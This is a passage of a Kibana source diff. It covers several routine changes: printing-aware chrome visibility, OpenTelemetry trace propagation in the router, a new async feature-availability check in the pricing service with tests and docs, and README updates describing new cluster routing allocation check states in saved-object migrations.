+ * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +require('../src/setup_node_env'); +require('../src/dev/eslint/run_eslint_full'); diff --git a/src/cli/apm.js b/src/cli/apm.js index 41c543c621dc9..a3f93a7b88b3a 100644 --- a/src/cli/apm.js +++ b/src/cli/apm.js @@ -10,7 +10,6 @@ const { join } = require('path'); const { name, build } = require('../../package.json'); const { initApm } = require('@kbn/apm-config-loader'); -const { once } = require('lodash'); const { initTelemetry } = require('@kbn/telemetry'); const rootDir = join(__dirname, '../..'); @@ -18,11 +17,5 @@ const isKibanaDistributable = Boolean(build && build.distributable === true); module.exports = function (serviceName = name) { initApm(process.argv, rootDir, isKibanaDistributable, serviceName); - const shutdown = once(initTelemetry(process.argv, rootDir, isKibanaDistributable, serviceName)); - - process.on('SIGTERM', shutdown); - process.on('SIGINT', shutdown); - process.on('beforeExit', shutdown); - - return shutdown; + initTelemetry(process.argv, rootDir, isKibanaDistributable, serviceName); }; diff --git a/src/core/packages/chrome/browser-internal/src/chrome_service.tsx b/src/core/packages/chrome/browser-internal/src/chrome_service.tsx index d17db92402018..7ec310f292eba 100644 --- a/src/core/packages/chrome/browser-internal/src/chrome_service.tsx +++ b/src/core/packages/chrome/browser-internal/src/chrome_service.tsx @@ -50,6 +50,7 @@ import type { import { RecentlyAccessedService } from '@kbn/recently-accessed'; import { Logger } from '@kbn/logging'; +import { isPrinting$ } from './utils/printing_observable'; import { DocTitleService } from './doc_title'; import { NavControlsService } from './nav_controls'; import { NavLinksService } from './nav_links'; @@ -137,8 +138,8 @@ export class ChromeService { ) ) ); - this.isVisible$ = combineLatest([appHidden$, this.isForceHidden$]).pipe( - map(([appHidden, forceHidden]) => !appHidden && !forceHidden), + this.isVisible$ = combineLatest([appHidden$, this.isForceHidden$, isPrinting$]).pipe( + map(([appHidden, forceHidden, isPrinting]) => !appHidden && !forceHidden && !isPrinting), takeUntil(this.stop$) ); } diff --git a/src/core/packages/chrome/browser-internal/src/utils/printing_observable.ts b/src/core/packages/chrome/browser-internal/src/utils/printing_observable.ts new file mode 100644 index 0000000000000..2fb0e6e9d453f --- /dev/null +++ b/src/core/packages/chrome/browser-internal/src/utils/printing_observable.ts @@ -0,0 +1,18 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { distinctUntilChanged, fromEvent, map, merge, shareReplay, startWith } from 'rxjs'; + +/** + * Emits true during printing (window.beforeprint), false otherwise. + */ +export const isPrinting$ = merge( + fromEvent(window, 'beforeprint').pipe(map(() => true)), + fromEvent(window, 'afterprint').pipe(map(() => false)) +).pipe(startWith(false), distinctUntilChanged(), shareReplay(1)); diff --git a/src/core/packages/http/router-server-internal/src/router.ts b/src/core/packages/http/router-server-internal/src/router.ts index df1675a03b6a8..8af0d4812360e 100644 --- a/src/core/packages/http/router-server-internal/src/router.ts +++ b/src/core/packages/http/router-server-internal/src/router.ts @@ -31,6 +31,7 @@ import type { } from '@kbn/core-http-server'; import type { RouteSecurityGetter } from '@kbn/core-http-server'; import { Env } from '@kbn/config'; +import { context, defaultTextMapGetter, propagation } from '@opentelemetry/api'; import { CoreVersionedRouter } from './versioned_router'; import { CoreKibanaRequest, getProtocolFromRequest } from './request'; import { kibanaResponseFactory } from './response'; @@ -183,8 +184,20 @@ export class Router - await this.handle({ request, responseToolkit, handler: route.handler }), + handler: async (request, responseToolkit) => { + /** + * Read incoming traceparent headers and create a new context with the traceparent set. + * This allows OpenTelemetry spans created in the next context to re-use the traceparent + * headers (and thus belonging to the same trace). It does not interfere with Elastic APM, + * and is temporary until we fully migrate to [OpenTelemetry + * tracing](https://github.com/elastic/kibana/issues/220914). + */ + const ctx = propagation.extract(context.active(), request.headers, defaultTextMapGetter); + return context.with( + ctx, + async () => await this.handle({ request, responseToolkit, handler: route.handler }) + ); + }, }); } diff --git a/src/core/packages/integrations/browser-internal/src/styles/disable_animations.css b/src/core/packages/integrations/browser-internal/src/styles/disable_animations.css index 649a646f917ea..19dd973da881d 100644 --- a/src/core/packages/integrations/browser-internal/src/styles/disable_animations.css +++ b/src/core/packages/integrations/browser-internal/src/styles/disable_animations.css @@ -2,7 +2,7 @@ * `@hello-pangea/dnd` relies on `transition` for functionality * https://github.com/elastic/kibana/issues/95133 */ -*:not(.essentialAnimation):not([data-rbd-draggable-context-id]):not([data-rbd-droppable-context-id]), +*:not(.essentialAnimation):not([data-rbd-draggable-context-id]):not([data-rbd-droppable-context-id]):not([data-rfd-draggable-context-id]):not([data-rfd-droppable-context-id]), *:not(.essentialAnimation):before, *:not(.essentialAnimation):after { /** diff --git a/src/core/packages/mount-utils/browser-internal/src/mount.test.tsx b/src/core/packages/mount-utils/browser-internal/src/mount.test.tsx index 3996fa58dc41d..87e18ffa0b615 100644 --- a/src/core/packages/mount-utils/browser-internal/src/mount.test.tsx +++ b/src/core/packages/mount-utils/browser-internal/src/mount.test.tsx @@ -8,7 +8,7 @@ */ import React from 'react'; -import { mount } from 'enzyme'; +import { render } from '@testing-library/react'; import { MountWrapper, mountReactNode } from './mount'; describe('MountWrapper', () => { @@ -21,8 +21,8 @@ describe('MountWrapper', () => { return () => {}; }; const wrapper = ; - const container = mount(wrapper); - expect(container.html()).toMatchInlineSnapshot( + const container = render(wrapper); + expect(container.container.innerHTML).toMatchInlineSnapshot( `"

hello

"` ); }); @@ -37,14 +37,13 @@ describe('MountWrapper', () => { }; const wrapper = ; - const container = mount(wrapper); - expect(container.html()).toMatchInlineSnapshot( + const container = render(wrapper); + expect(container.container.innerHTML).toMatchInlineSnapshot( `"

initial

"` ); el.textContent = 'changed'; - container.update(); - expect(container.html()).toMatchInlineSnapshot( + expect(container.container.innerHTML).toMatchInlineSnapshot( `"

changed

"` ); }); @@ -52,8 +51,8 @@ describe('MountWrapper', () => { it('can render a detached react component', () => { const mountPoint = mountReactNode(detached); const wrapper = ; - const container = mount(wrapper); - expect(container.html()).toMatchInlineSnapshot( + const container = render(wrapper); + expect(container.container.innerHTML).toMatchInlineSnapshot( `"
detached
"` ); }); @@ -61,8 +60,8 @@ describe('MountWrapper', () => { it('accepts a className prop to override default className', () => { const mountPoint = mountReactNode(detached); const wrapper = ; - const container = mount(wrapper); - expect(container.html()).toMatchInlineSnapshot( + const container = render(wrapper); + expect(container.container.innerHTML).toMatchInlineSnapshot( `"
detached
"` ); }); diff --git a/src/core/packages/plugins/server-internal/src/plugin_context.ts b/src/core/packages/plugins/server-internal/src/plugin_context.ts index 3bbc3c066859d..2f0bb5fc6f041 100644 --- a/src/core/packages/plugins/server-internal/src/plugin_context.ts +++ b/src/core/packages/plugins/server-internal/src/plugin_context.ts @@ -293,6 +293,7 @@ export function createPluginSetupContext({ onStart: (...dependencyNames) => runtimeResolver.onStart(plugin.name, dependencyNames), }, pricing: { + isFeatureAvailable: deps.pricing.isFeatureAvailable, registerProductFeatures: deps.pricing.registerProductFeatures, }, security: { diff --git a/src/core/packages/pricing/common/src/pricing_tiers_client.ts b/src/core/packages/pricing/common/src/pricing_tiers_client.ts index 293702d1310f8..eee5ce5198250 100644 --- a/src/core/packages/pricing/common/src/pricing_tiers_client.ts +++ b/src/core/packages/pricing/common/src/pricing_tiers_client.ts @@ -28,19 +28,17 @@ export class PricingTiersClient implements IPricingTiersClient { * @param productFeaturesRegistry - Registry containing the available product features */ constructor( - private readonly tiers: TiersConfig, + private tiers: TiersConfig, private readonly productFeaturesRegistry: ProductFeaturesRegistry ) {} /** - * Checks if a product is active in the current pricing tier configuration. + * Sets the pricing tiers configuration. * - * @param product - The product to check - * @returns True if the product is active, false otherwise - * @internal + * @param tiers - The new pricing tiers configuration */ - private isActiveProduct = (product: PricingProduct) => { - return Boolean(this.tiers.products?.some((currentProduct) => isEqual(currentProduct, product))); + setTiers = (tiers: TiersConfig) => { + this.tiers = tiers; }; /** @@ -53,6 +51,17 @@ export class PricingTiersClient implements IPricingTiersClient { return this.tiers.enabled; }; + /** + * Checks if a product is active in the current pricing tier configuration. + * + * @param product - The product to check + * @returns True if the product is active, false otherwise + * @internal + */ + private isActiveProduct = (product: PricingProduct) => { + return Boolean(this.tiers.products?.some((currentProduct) => isEqual(currentProduct, product))); + }; + /** * Determines if a feature is available based on the current pricing tier configuration. * When pricing tiers are disabled, all features are considered available. diff --git a/src/core/packages/pricing/server-internal/README.md b/src/core/packages/pricing/server-internal/README.md index d31128c9360a5..9cb746dff1385 100644 --- a/src/core/packages/pricing/server-internal/README.md +++ b/src/core/packages/pricing/server-internal/README.md @@ -59,20 +59,12 @@ Here's an example of how to consume the pricing service in a plugin: ```typescript // my-plugin/server/plugin.ts import { CoreSetup, CoreStart, Plugin } from '@kbn/core/server'; -import { PricingServiceSetup, PricingServiceStart } from '@kbn/core-pricing-server'; - -interface MyPluginSetupDeps { - pricing: PricingServiceSetup; -} - -interface MyPluginStartDeps { - pricing: PricingServiceStart; -} export class MyPlugin implements Plugin { - public setup(core: CoreSetup, { pricing }: MyPluginSetupDeps) { + public setup(core: CoreSetup) { // Register features that your plugin provides - pricing.registerProductFeatures([ + + core.pricing.registerProductFeatures([ { id: 'my-plugin:feature1', description: 'A feature for observability products', @@ -88,12 +80,22 @@ export class MyPlugin implements Plugin { ], }, ]); + + /** + * Checks if a specific feature is available in the current pricing tier configuration. + * Resolves asynchronously after the pricing service has been set up and all the plugins have registered their features. + */ + core.pricing.isFeatureAvailable('my-plugin:feature1').then((isActiveObservabilityComplete) => { + if (isActiveObservabilityComplete) { + // Enable feature1 + } + }); } - public start(core: CoreStart, { pricing }: MyPluginStartDeps) { + public start(core: CoreStart) { // Check if a feature is available based on the current pricing tier - const isFeature1Available = pricing.isFeatureAvailable('my-plugin:feature1'); - const isFeature2Available = pricing.isFeatureAvailable('my-plugin:feature2'); + const isFeature1Available = core.pricing.isFeatureAvailable('my-plugin:feature1'); + const isFeature2Available = core.pricing.isFeatureAvailable('my-plugin:feature2'); // Conditionally enable features based on availability if (isFeature1Available) { diff --git a/src/core/packages/pricing/server-internal/src/pricing_service.test.ts b/src/core/packages/pricing/server-internal/src/pricing_service.test.ts index 2956749aaa58e..43ef4fec6cdee 100644 --- a/src/core/packages/pricing/server-internal/src/pricing_service.test.ts +++ b/src/core/packages/pricing/server-internal/src/pricing_service.test.ts @@ -106,6 +106,56 @@ describe('PricingService', () => { expect(registry.get('feature1')).toBeDefined(); expect(registry.get('feature2')).toBeDefined(); }); + + it('allows checking if a feature is available', async () => { + await service.preboot({ http: prebootHttp }); + const setup = await service.setup({ http: setupHttp }); + + const mockFeatures: PricingProductFeature[] = [ + { + id: 'feature1', + description: 'A feature', + products: [{ name: 'observability', tier: 'complete' }], + }, + ]; + + setup.registerProductFeatures(mockFeatures); + await setup.evaluateProductFeatures(); + + const isActiveObservabilityComplete = await setup.isFeatureAvailable('feature1'); + expect(isActiveObservabilityComplete).toBe(true); + }); + }); + + it('should block isFeatureAvailable until evaluateProductFeatures is called', async () => { + await service.preboot({ http: prebootHttp }); + const setup = await service.setup({ http: setupHttp }); + + // Start calling isFeatureAvailable, before said feature was registered or evaluateProductFeatures is called + let resolved = false; + const promise = setup.isFeatureAvailable('testFeature').then(() => { + resolved = true; + }); + + // Now register the feature + setup.registerProductFeatures([ + { + id: 'testFeature', + description: 'Test Feature', + products: [{ name: 'observability', tier: 'complete' }], + }, + ]); + + // Wait a short bit to ensure it doesn't resolve prematurely + await new Promise((r) => setTimeout(r, 100)); + expect(resolved).toBe(false); + + // Now "unlock" the gate + await setup.evaluateProductFeatures(); + + // Now it should resolve + await promise; + expect(resolved).toBe(true); }); describe('#start()', () => { diff --git a/src/core/packages/pricing/server-internal/src/pricing_service.ts b/src/core/packages/pricing/server-internal/src/pricing_service.ts index 81b9e7bc24712..648b4cfde105c 100644 --- a/src/core/packages/pricing/server-internal/src/pricing_service.ts +++ b/src/core/packages/pricing/server-internal/src/pricing_service.ts @@ -9,7 +9,7 @@ import type { CoreContext } from '@kbn/core-base-server-internal'; import type { Logger } from '@kbn/logging'; -import { firstValueFrom } from 'rxjs'; +import { Subject, firstValueFrom } from 'rxjs'; import type { IConfigService } from '@kbn/config'; import { type PricingProductFeature, @@ -36,13 +36,22 @@ export class PricingService { private readonly configService: IConfigService; private readonly logger: Logger; private readonly productFeaturesRegistry: ProductFeaturesRegistry; + + private readonly isEvaluated$ = new Subject(); + private readonly isEvaluatedPromise = firstValueFrom(this.isEvaluated$); + private pricingConfig: PricingConfigType; + private tiersClient: PricingTiersClient; constructor(core: CoreContext) { this.logger = core.logger.get('pricing-service'); this.configService = core.configService; this.productFeaturesRegistry = new ProductFeaturesRegistry(); this.pricingConfig = { tiers: { enabled: false, products: [] } }; + this.tiersClient = new PricingTiersClient( + this.pricingConfig.tiers, + this.productFeaturesRegistry + ); } public preboot({ http }: PrebootDeps) { @@ -64,12 +73,27 @@ export class PricingService { this.configService.atPath('pricing') ); + this.tiersClient.setTiers(this.pricingConfig.tiers); + registerRoutes(http.createRouter(''), { pricingConfig: this.pricingConfig, productFeaturesRegistry: this.productFeaturesRegistry, }); return { + /** + * Evaluates the product features and emits the `isEvaluated$` signal. + * This should be called after all plugins have registered their features. + */ + evaluateProductFeatures: () => this.isEvaluated$.next(), + /** + * Checks if a specific feature is available in the current pricing tier configuration. + * Resolves asynchronously after the pricing service has been set up and all the plugins have registered their features. + */ + isFeatureAvailable: async (featureId: string) => { + await this.isEvaluatedPromise; + return this.tiersClient.isFeatureAvailable(featureId); + }, registerProductFeatures: (features: PricingProductFeature[]) => { features.forEach((feature) => { this.productFeaturesRegistry.register(feature); @@ -79,13 +103,8 @@ export class PricingService { } public start() { - const tiersClient = new PricingTiersClient( - this.pricingConfig.tiers, - this.productFeaturesRegistry - ); - return { - isFeatureAvailable: tiersClient.isFeatureAvailable, + isFeatureAvailable: this.tiersClient.isFeatureAvailable, }; } } diff --git a/src/core/packages/pricing/server-mocks/src/pricing_service.mock.ts b/src/core/packages/pricing/server-mocks/src/pricing_service.mock.ts index d7efa8246b15a..0d0ffacc6d558 100644 --- a/src/core/packages/pricing/server-mocks/src/pricing_service.mock.ts +++ b/src/core/packages/pricing/server-mocks/src/pricing_service.mock.ts @@ -13,6 +13,7 @@ import type { PricingService } from '@kbn/core-pricing-server-internal'; const createSetupContractMock = () => { const setupContract: jest.Mocked = { + isFeatureAvailable: jest.fn(), registerProductFeatures: jest.fn(), }; return setupContract; diff --git a/src/core/packages/pricing/server/src/contracts.ts b/src/core/packages/pricing/server/src/contracts.ts index 95b1b42c8d8cf..ccce6272b8223 100644 --- a/src/core/packages/pricing/server/src/contracts.ts +++ b/src/core/packages/pricing/server/src/contracts.ts @@ -18,6 +18,19 @@ import type { IPricingTiersClient, PricingProductFeature } from '@kbn/core-prici * @public */ export interface PricingServiceSetup { + /** + * Check if a specific feature is available in the current pricing tier configuration. + * Resolves asynchronously after the pricing service has been set up and all the plugins have registered their features. + * + * @example + * ```ts + * // my-plugin/server/plugin.ts + * public setup(core: CoreSetup) { + * const isPremiumFeatureAvailable = core.pricing.isFeatureAvailable('my_premium_feature'); + * } + * ``` + */ + isFeatureAvailable(featureId: string): Promise; /** * Register product features that are available in specific pricing tiers. * diff --git a/src/core/packages/root/server-internal/src/server.ts b/src/core/packages/root/server-internal/src/server.ts index b6d2d1075a56c..ba4d3c5607305 100644 --- a/src/core/packages/root/server-internal/src/server.ts +++ b/src/core/packages/root/server-internal/src/server.ts @@ -395,6 +395,13 @@ export class Server { const pluginsSetup = await this.plugins.setup(coreSetup); this.#pluginsInitialized = pluginsSetup.initialized; + /** + * This is a necessary step to ensure that the pricing service is ready to be used. + * It must be called after all plugins have been setup. + * This guarantee that all plugins checking for a feature availability with isFeatureAvailable + * in the server setup contract get the right access to the feature availability. + */ + pricingSetup.evaluateProductFeatures(); this.registerCoreContext(coreSetup); await this.coreApp.setup(coreSetup, uiPlugins); diff --git a/src/core/packages/saved-objects/api-server-internal/src/lib/apis/utils/internal_utils.ts b/src/core/packages/saved-objects/api-server-internal/src/lib/apis/utils/internal_utils.ts index 7380f2a5b0400..80fd9705fceab 100644 --- a/src/core/packages/saved-objects/api-server-internal/src/lib/apis/utils/internal_utils.ts +++ b/src/core/packages/saved-objects/api-server-internal/src/lib/apis/utils/internal_utils.ts @@ -38,7 +38,7 @@ export function getBulkOperationError( id: string, rawResponse: { status: number; - error?: { type: string; reason?: string; index: string }; + error?: { type: string; reason?: string | null; index: string }; // Other fields are present on a bulk operation result but they are irrelevant for this function } ): Payload | undefined { diff --git a/src/core/packages/saved-objects/migration-server-internal/src/README.md b/src/core/packages/saved-objects/migration-server-internal/src/README.md index 862733a439432..edf34a6849285 100644 --- a/src/core/packages/saved-objects/migration-server-internal/src/README.md +++ b/src/core/packages/saved-objects/migration-server-internal/src/README.md @@ -4,119 +4,122 @@ - [INIT](#init) - [Next action](#next-action) - [New control state](#new-control-state) - - [CREATE\_NEW\_TARGET](#create_new_target) + - [CREATE\_INDEX\_CHECK\_CLUSTER\_ROUTING\_ALLOCATION](#create_index_check_cluster_routing_allocation) - [Next action](#next-action-1) - [New control state](#new-control-state-1) - - [LEGACY\_CHECK\_CLUSTER\_ROUTING\_ALLOCATION](#legacy_check_cluster_routing_allocation) + - [CREATE\_NEW\_TARGET](#create_new_target) - [Next action](#next-action-2) - [New control state](#new-control-state-2) - - [LEGACY\_SET\_WRITE\_BLOCK](#legacy_set_write_block) + - [LEGACY\_CHECK\_CLUSTER\_ROUTING\_ALLOCATION](#legacy_check_cluster_routing_allocation) - [Next action](#next-action-3) - [New control state](#new-control-state-3) - - [LEGACY\_CREATE\_REINDEX\_TARGET](#legacy_create_reindex_target) + - [LEGACY\_SET\_WRITE\_BLOCK](#legacy_set_write_block) - [Next action](#next-action-4) - [New control state](#new-control-state-4) - - [LEGACY\_REINDEX](#legacy_reindex) + - [LEGACY\_CREATE\_REINDEX\_TARGET](#legacy_create_reindex_target) - [Next action](#next-action-5) - [New control state](#new-control-state-5) - - [LEGACY\_REINDEX\_WAIT\_FOR\_TASK](#legacy_reindex_wait_for_task) + - [LEGACY\_REINDEX](#legacy_reindex) - [Next action](#next-action-6) - [New control state](#new-control-state-6) - - [LEGACY\_DELETE](#legacy_delete) + - [LEGACY\_REINDEX\_WAIT\_FOR\_TASK](#legacy_reindex_wait_for_task) - [Next action](#next-action-7) - [New control state](#new-control-state-7) - - [WAIT\_FOR\_MIGRATION\_COMPLETION](#wait_for_migration_completion) + - [LEGACY\_DELETE](#legacy_delete) - [Next action](#next-action-8) - [New control state](#new-control-state-8) - - [WAIT\_FOR\_YELLOW\_SOURCE](#wait_for_yellow_source) + - [WAIT\_FOR\_MIGRATION\_COMPLETION](#wait_for_migration_completion) - [Next action](#next-action-9) - [New control state](#new-control-state-9) - - [UPDATE\_SOURCE\_MAPPINGS\_PROPERTIES](#update_source_mappings_properties) + - [WAIT\_FOR\_YELLOW\_SOURCE](#wait_for_yellow_source) - [Next action](#next-action-10) - [New control state](#new-control-state-10) - - [CLEANUP\_UNKNOWN\_AND\_EXCLUDED](#cleanup_unknown_and_excluded) + - [UPDATE\_SOURCE\_MAPPINGS\_PROPERTIES](#update_source_mappings_properties) - [Next action](#next-action-11) - [New control state](#new-control-state-11) - - [CLEANUP\_UNKNOWN\_AND\_EXCLUDED\_WAIT\_FOR\_TASK](#cleanup_unknown_and_excluded_wait_for_task) + - [CLEANUP\_UNKNOWN\_AND\_EXCLUDED](#cleanup_unknown_and_excluded) - [Next action](#next-action-12) - [New control state](#new-control-state-12) - - [PREPARE\_COMPATIBLE\_MIGRATION](#prepare_compatible_migration) + - [CLEANUP\_UNKNOWN\_AND\_EXCLUDED\_WAIT\_FOR\_TASK](#cleanup_unknown_and_excluded_wait_for_task) - [Next action](#next-action-13) - [New control state](#new-control-state-13) - - [REFRESH\_SOURCE](#refresh_source) + - [PREPARE\_COMPATIBLE\_MIGRATION](#prepare_compatible_migration) - [Next action](#next-action-14) - [New control state](#new-control-state-14) - - [CHECK\_CLUSTER\_ROUTING\_ALLOCATION](#check_cluster_routing_allocation) + - [REFRESH\_SOURCE](#refresh_source) - [Next action](#next-action-15) - [New control state](#new-control-state-15) - - [CHECK\_UNKNOWN\_DOCUMENTS](#check_unknown_documents) + - [REINDEX\_CHECK\_CLUSTER\_ROUTING\_ALLOCATION](#reindex_check_cluster_routing_allocation) - [Next action](#next-action-16) - - [SET\_SOURCE\_WRITE\_BLOCK](#set_source_write_block) - - [Next action](#next-action-17) - [New control state](#new-control-state-16) - - [CREATE\_REINDEX\_TEMP](#create_reindex_temp) + - [CHECK\_UNKNOWN\_DOCUMENTS](#check_unknown_documents) + - [Next action](#next-action-17) + - [SET\_SOURCE\_WRITE\_BLOCK](#set_source_write_block) - [Next action](#next-action-18) - [New control state](#new-control-state-17) - - [REINDEX\_SOURCE\_TO\_TEMP\_OPEN\_PIT](#reindex_source_to_temp_open_pit) - - [Next action](#next-action-19) - - [New control state](#new-control-state-18) - - [REINDEX\_SOURCE\_TO\_TEMP\_READ](#reindex_source_to_temp_read) + - [RELOCATE\_CHECK\_CLUSTER\_ROUTING\_ALLOCATION](#relocate_check_cluster_routing_allocation) - [Next action](#next-action-20) - [New control state](#new-control-state-19) - - [REINDEX\_SOURCE\_TO\_TEMP\_TRANSFORM](#reindex_source_to_temp_transform) + - [REINDEX\_SOURCE\_TO\_TEMP\_OPEN\_PIT](#reindex_source_to_temp_open_pit) - [Next action](#next-action-21) - [New control state](#new-control-state-20) - - [REINDEX\_SOURCE\_TO\_TEMP\_INDEX\_BULK](#reindex_source_to_temp_index_bulk) + - [REINDEX\_SOURCE\_TO\_TEMP\_READ](#reindex_source_to_temp_read) - [Next action](#next-action-22) - [New control state](#new-control-state-21) - - [REINDEX\_SOURCE\_TO\_TEMP\_CLOSE\_PIT](#reindex_source_to_temp_close_pit) + - [REINDEX\_SOURCE\_TO\_TEMP\_TRANSFORM](#reindex_source_to_temp_transform) - [Next action](#next-action-23) - [New control state](#new-control-state-22) - - [SET\_TEMP\_WRITE\_BLOCK](#set_temp_write_block) + - [REINDEX\_SOURCE\_TO\_TEMP\_INDEX\_BULK](#reindex_source_to_temp_index_bulk) - [Next action](#next-action-24) - [New control state](#new-control-state-23) - - [CLONE\_TEMP\_TO\_TARGET](#clone_temp_to_target) + - [REINDEX\_SOURCE\_TO\_TEMP\_CLOSE\_PIT](#reindex_source_to_temp_close_pit) - [Next action](#next-action-25) - [New control state](#new-control-state-24) - - [REFRESH\_TARGET](#refresh_target) + - [SET\_TEMP\_WRITE\_BLOCK](#set_temp_write_block) - [Next action](#next-action-26) - [New control state](#new-control-state-25) - - [OUTDATED\_DOCUMENTS\_SEARCH\_OPEN\_PIT](#outdated_documents_search_open_pit) + - [CLONE\_TEMP\_TO\_TARGET](#clone_temp_to_target) - [Next action](#next-action-27) - [New control state](#new-control-state-26) - - [OUTDATED\_DOCUMENTS\_SEARCH\_READ](#outdated_documents_search_read) + - [REFRESH\_TARGET](#refresh_target) - [Next action](#next-action-28) - [New control state](#new-control-state-27) - - [OUTDATED\_DOCUMENTS\_TRANSFORM](#outdated_documents_transform) + - [OUTDATED\_DOCUMENTS\_SEARCH\_OPEN\_PIT](#outdated_documents_search_open_pit) - [Next action](#next-action-29) - [New control state](#new-control-state-28) - - [TRANSFORMED\_DOCUMENTS\_BULK\_INDEX](#transformed_documents_bulk_index) + - [OUTDATED\_DOCUMENTS\_SEARCH\_READ](#outdated_documents_search_read) - [Next action](#next-action-30) - [New control state](#new-control-state-29) - - [OUTDATED\_DOCUMENTS\_SEARCH\_CLOSE\_PIT](#outdated_documents_search_close_pit) + - [OUTDATED\_DOCUMENTS\_TRANSFORM](#outdated_documents_transform) - [Next action](#next-action-31) - [New control state](#new-control-state-30) - - [OUTDATED\_DOCUMENTS\_REFRESH](#outdated_documents_refresh) + - [TRANSFORMED\_DOCUMENTS\_BULK\_INDEX](#transformed_documents_bulk_index) - [Next action](#next-action-32) - [New control state](#new-control-state-31) - - [CHECK\_TARGET\_MAPPINGS](#check_target_mappings) + - [OUTDATED\_DOCUMENTS\_SEARCH\_CLOSE\_PIT](#outdated_documents_search_close_pit) - [Next action](#next-action-33) - [New control state](#new-control-state-32) - - [UPDATE\_TARGET\_MAPPINGS\_PROPERTIES](#update_target_mappings_properties) + - [OUTDATED\_DOCUMENTS\_REFRESH](#outdated_documents_refresh) - [Next action](#next-action-34) - [New control state](#new-control-state-33) - - [UPDATE\_TARGET\_MAPPINGS\_PROPERTIES\_WAIT\_FOR\_TASK](#update_target_mappings_properties_wait_for_task) + - [CHECK\_TARGET\_MAPPINGS](#check_target_mappings) - [Next action](#next-action-35) - [New control state](#new-control-state-34) - - [CHECK\_VERSION\_INDEX\_READY\_ACTIONS](#check_version_index_ready_actions) + - [UPDATE\_TARGET\_MAPPINGS\_PROPERTIES](#update_target_mappings_properties) - [Next action](#next-action-36) - [New control state](#new-control-state-35) - - [MARK\_VERSION\_INDEX\_READY](#mark_version_index_ready) + - [UPDATE\_TARGET\_MAPPINGS\_PROPERTIES\_WAIT\_FOR\_TASK](#update_target_mappings_properties_wait_for_task) - [Next action](#next-action-37) - [New control state](#new-control-state-36) - - [MARK\_VERSION\_INDEX\_READY\_CONFLICT](#mark_version_index_ready_conflict) + - [CHECK\_VERSION\_INDEX\_READY\_ACTIONS](#check_version_index_ready_actions) - [Next action](#next-action-38) - [New control state](#new-control-state-37) + - [MARK\_VERSION\_INDEX\_READY](#mark_version_index_ready) + - [Next action](#next-action-39) + - [New control state](#new-control-state-38) + - [MARK\_VERSION\_INDEX\_READY\_CONFLICT](#mark_version_index_ready_conflict) + - [Next action](#next-action-40) + - [New control state](#new-control-state-39) - [FATAL](#fatal) - [DONE](#done) - [Manual QA Test Plan](#manual-qa-test-plan) @@ -225,11 +228,36 @@ and the migration source index is the index the `.kibana` alias points to. → [LEGACY_SET_WRITE_BLOCK](#legacy_set_write_block) -6. If there are no `.kibana` indices, this is a fresh deployment. Initialize a - new saved objects index +6. If there are no `.kibana` indices, this is a fresh deployment. Check cluster routing allocation and + initialize a new saved objects index + + → [CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION](#create_index_check_cluster_routing_allocation) + +7. If there is a new indices migrators (e.g. .kibana_alerting_cases). Check cluster routing allocation + and reindex (this is dead code and should be removed) + +## CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION + +### Next action + +`checkClusterRoutingAllocationEnabled` + +Check that replica allocation is enabled from cluster settings (`cluster.routing.allocation.enabled`). Migrations will fail when replica allocation is disabled during the bulk index operation that waits for all active shards. Migrations wait for all active shards to ensure that saved objects are replicated to protect against data loss. + +The Elasticsearch documentation mentions switching off replica allocation when restoring a cluster and this is a setting that might be overlooked when a restore is done. Migrations will fail early if replica allocation is incorrectly set to avoid adding a write block to the old index before running into a failure later. + +If replica allocation is set to 'all', the migration continues to fetch the saved object indices. + +### New control state + +1. If `cluster.routing.allocation.enabled` has a compatible value. → [CREATE_NEW_TARGET](#create_new_target) +2. If it has a value that will not allow creating new *saved object* indices. + + → [CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION](#create_index_check_cluster_routing_allocation) + ## CREATE_NEW_TARGET ### Next action @@ -428,7 +456,7 @@ The latter usually happens when a new plugin is enabled that brings some incompa 3. If the mappings are not updated due to incompatible changes and the migration is still in progress. - → [CHECK_CLUSTER_ROUTING_ALLOCATION](#check_cluster_routing_allocation) + → [REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION](#reindex_check_cluster_routing_allocation) 4. If the mappings are not updated due to incompatible changes and the migration is already completed. @@ -523,7 +551,7 @@ We are performing a *compatible migration*, and we discarded some unknown and ex → [FATAL](#fatal) -## CHECK_CLUSTER_ROUTING_ALLOCATION +## REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION ### Next action @@ -549,7 +577,7 @@ The check only considers persistent and transient settings and does not take sta 2. If it has a value that will not allow creating new *saved object* indices. - → [CHECK_CLUSTER_ROUTING_ALLOCATION](#check_cluster_routing_allocation) (retry) + → [REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION](#reindex_check_cluster_routing_allocation) (retry) ## CHECK_UNKNOWN_DOCUMENTS @@ -579,6 +607,28 @@ Set a write block on the source index to prevent any older Kibana instances from → [CREATE_REINDEX_TEMP](#create_reindex_temp) +## RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION + +### Next action + +`checkClusterRoutingAllocationEnabled` + +Check that replica allocation is enabled from cluster settings (`cluster.routing.allocation.enabled`). Migrations will fail when replica allocation is disabled during the bulk index operation that waits for all active shards. Migrations wait for all active shards to ensure that saved objects are replicated to protect against data loss. + +The Elasticsearch documentation mentions switching off replica allocation when restoring a cluster and this is a setting that might be overlooked when a restore is done. Migrations will fail early if replica allocation is incorrectly set to avoid adding a write block to the old index before running into a failure later. + +If replica allocation is set to 'all', the migration continues to fetch the saved object indices. + +### New control state + +1. If `cluster.routing.allocation.enabled` has a compatible value. + + → [CREATE_REINDEX_TEMP](#create_reindex_temp) + +2. If it has a value that will not allow creating new *saved object* indices. + + → [RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION](#relocate_check_cluster_routing_allocation) + ## CREATE_REINDEX_TEMP ### Next action diff --git a/src/core/packages/saved-objects/migration-server-internal/src/actions/es_errors.ts 